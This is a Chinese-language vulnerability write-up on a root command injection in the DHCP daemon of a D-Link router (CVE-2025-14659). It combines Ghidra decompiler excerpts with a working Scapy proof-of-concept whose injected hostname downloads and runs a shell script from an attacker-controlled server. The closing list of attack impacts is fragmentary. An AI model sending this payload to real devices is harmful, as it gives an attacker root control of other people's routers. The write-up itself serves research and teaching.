静态分析(Ghidra)与自定义数据包构造(Scapy),演示 D-Link 固件中的 root 级 DHCP 命令注入漏洞(CVE-2025-14659)
作者: Peter Lin
日期: 2026 年 5 月
项目简介: CVE-2025-14659 报告了一个命令注入漏洞,针对运行固件 v203b03 的 D-Link DIR-860LB1 无线路由器中的 DHCP 守护进程组件。当 DHCP 客户端使用恶意主机名续订现有租约时,此命令注入可能允许攻击者以 root 权限在目标路由器上执行任意命令。我将提取 DIR-860LB1 设备的固件,并使用 Ghidra 通过静态分析识别 DHCP 守护进程(udhcpd)中存在的缺陷。然后,我将利用 FirmAE 等仿真引擎来模拟此路由器的环境,演示针对该目标的的概念验证攻击。
udhcpd(DHCP 守护进程)查看 Ghidra 中的 udhcpd_main 函数,该漏洞就位于 case 3(DHCPREQUEST)代码块内:
get_option(auStack_254, 0xc) 从客户端数据包中提取 DHCP 选项 12(主机名)。sprintf() 直接放入字符串缓冲区:
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() 调用,而未对 shell 字符进行清理:
system(acStack_454);
由于守护进程以 root 身份运行,在主机名中添加 shell 元字符(如 ; 或 |)允许攻击者执行任意系统命令。
cve_poc.py)这个功能性的 Scapy 脚本模拟了一个恶意客户端,通过注入的主机名载荷请求续订租约:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
如果在野利用此漏洞,攻击者可将其用于:
/tmp)中,将硬件纳入 DDoS 网络。免责声明: 本项目严格用于教育目的、作品集构建和防御性安全研究。